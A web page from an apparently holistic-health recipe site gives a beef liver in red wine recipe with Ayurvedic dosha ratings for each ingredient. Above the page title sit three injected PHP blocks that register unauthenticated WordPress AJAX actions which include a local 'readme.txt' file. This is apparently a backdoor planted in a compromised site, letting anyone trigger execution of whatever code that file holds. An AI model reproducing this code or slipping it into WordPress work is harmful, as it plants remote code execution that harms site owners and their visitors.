if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Beef Liver in Red Wine | Holistic Healing Resolutions by Asaf Feit

Beef Liver in Red Wine

by | Beef, Decrease Vata, Fall, Hard to Digest, Hot & Oily, Liver Blood Deficiency, Liver Yin Deficiency, Lunch, Nourishing, Recipes, Slowing, Winter | 0 comments

Beef Liver in Red Wine

Print Recipe Pin Recipe
Prep Time 10 minutes
Cook Time 10 minutes
Total Time 20 minutes
Course Lunch, Main Course
Servings 12

Ingredients
  

  • 12 slices beef liver Vata - - Pitta + Kapha ++
  • 1 cup red wine Vata + Pitta ++ Kapha - -
  • 70% whole wheat flour Vata - Pitta - Kapha ++
  • 1 large red onion finely chopped (Vata - Pitta - Kapha ++)
  • 4 garlic cloves thinly sliced (Vata - - Pitta ++ Kapha 0)
  • Olive oil Vata - - Pitta + Kapha +
  • Salt Vata - - Pitta 0 Kapha +
  • Black pepper ground (Vata - Pitta + Kapha - -)

Instructions
 

  • Slightly flour the liver slices.
  • Heat a heavy iron skillet, generously covered with olive oil and fry the liver slices for about 2 minutes on each side.
  • Place the liver in a serving dish.
  • To the same skillet add the onion and garlic and fry until the onion becomes transparent.
  • Pour the wine, mix with a wooden spoon and scrape the bottom in order to extract hidden flavors.
  • Add salt and pepper to taste and cook until the sauce thickens and reaches the desired consistency.
  • Pour on the liver slices.
  • Recommended to serve with berry sauce.

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